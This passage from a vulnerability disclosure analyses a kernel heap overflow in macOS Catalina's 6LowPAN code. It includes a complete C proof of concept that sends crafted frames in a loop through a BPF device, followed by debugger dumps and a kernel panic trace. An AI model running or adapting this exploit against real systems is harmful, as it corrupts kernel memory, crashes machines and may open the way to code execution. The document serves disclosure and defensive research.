       r13 = 0x0000000000000003
       r14 = 0xffffff80669e3d28
       r15 = 0xffffff80602e1803
       rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853
    rflags = 0x0000000000000393
        cs = 0x0000000000000008
        fs = 0x00000000ffff0000
        gs = 0x00000000669e0000

POC 2 - Overflow

However, we can trigger much more controlled memory corruptions with large payload sizes which also could likely be used for code execution.

For example, using the following parameters:

len = 0xffff

pf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

This ends up with the memmove performing a write at payload + 40, of the data sourced by an attacker, of size 0xfffc-40 = (0xfff9) 65529.

POC 2 demonstrates this:

/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 2: Write 0xffd4 bytes - overflow

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
	struct ether_header header;
	unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
	ssize_t len;
	ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
	char buf[11] = {};
	int bpf = 0;
	for(int i = 0; i < 99; i++)
	{
		sprintf(buf,"/dev/bpf%i",i);
		bpf = open(buf,O_RDWR);
		if( bpf != -1 ) {
			printf("Opened device /dev/bpf%i\n", i);
			break; 
		}
	}
	if(bpf == -1) {
		printf("Cannot open any /dev/bpf* device, exiting\n");
		exit(1); 
	}
	return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
	struct ifreq bound_if;
	strcpy(bound_if.ifr_name, interface);
	if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
		printf("Cannot bind bpf device to physical device %s, exiting\n", interface);
		exit(1);
	}
	printf("Bound bpf device to physical device %s\n", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
	ssize_t data_length = 32;

	struct frame_t frame;
	memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
	memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

	//  802.15.4 frame type. 
	frame.header.ether_type = 0x908;
	frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;

	// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
	frame.payload[0] = 0xff;
	frame.payload[1] = 0xff;

	// This is the start of the "data" passed to frame802154_parse and considered frame header 
	// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
	// These are used for the FCF (no flags set)
	frame.payload[2] = 0;
	frame.payload[3] = 0;
	frame.payload[4] = 0;

	// As none FCF are set p+=3 bytes. 
	// header length
	// c = p - data;
	// c = 3
	// payload length
	// pf->payload_len = (4 - 3);
	// pf->payload_len = 1

	// This is the start of our payload passed to sixxlowpan_uncompress
	frame.payload[5] = 0;
	frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

	// Just pad the frame with 'A'. 
	for (int j = 7; j < 32; j++) {
		frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
    	printf("Bytes sent: %ld\n", bytes_sent);
    } else {
    	perror("Error sending frame");
    	exit(1);
    }
}

int main(int argc, char *argv[])
{
	char* interface = "en0";

	int bpf;
	bpf = open_bpf_device();
	assoc_dev(bpf, interface);
		
	// Do this in a loop to ensure we corrupt data following mbuf. 
	while (1)
		write_single_frame(bpf);

	return 0; 
} 

Which results in the following:

frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]

(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff8876c7bd28
       rdx = 0x000000000000fff9
       rdi = 0xffffff806f16f806
       rsi = 0xffffff806f16f82b
       rbp = 0xffffff8876c7bcf0
       rsp = 0xffffff8876c7bc30
        r8 = 0xffffff8876c7bc38
        r9 = 0xffffff8876c7bc40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff8876c7bd28
       r15 = 0xffffff806f16f803
       rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853
    rflags = 0x0000000000000206
        cs = 0x0000000000000008
        fs = 0x0000000000000000
        gs = 0x0000000000000000


Source:

(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28

Dest: 

(lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

As cluster mbuf’s are only 2048 in size and chained together in a linked list style fashion, this will lead to corruption of the proceeding mbuf’s with attacker controlled data.

Running our slightly modified POC 2 against a KASAN kernel (41’s swapped with 45’s) we can also see heap corruption has occured and we have triggered a verification of the nextptr:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)

Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e

It is expected that due to the controlled size of the write and the controlled data that it would be possible to turn this issue into code execution.

Twitter, Facebook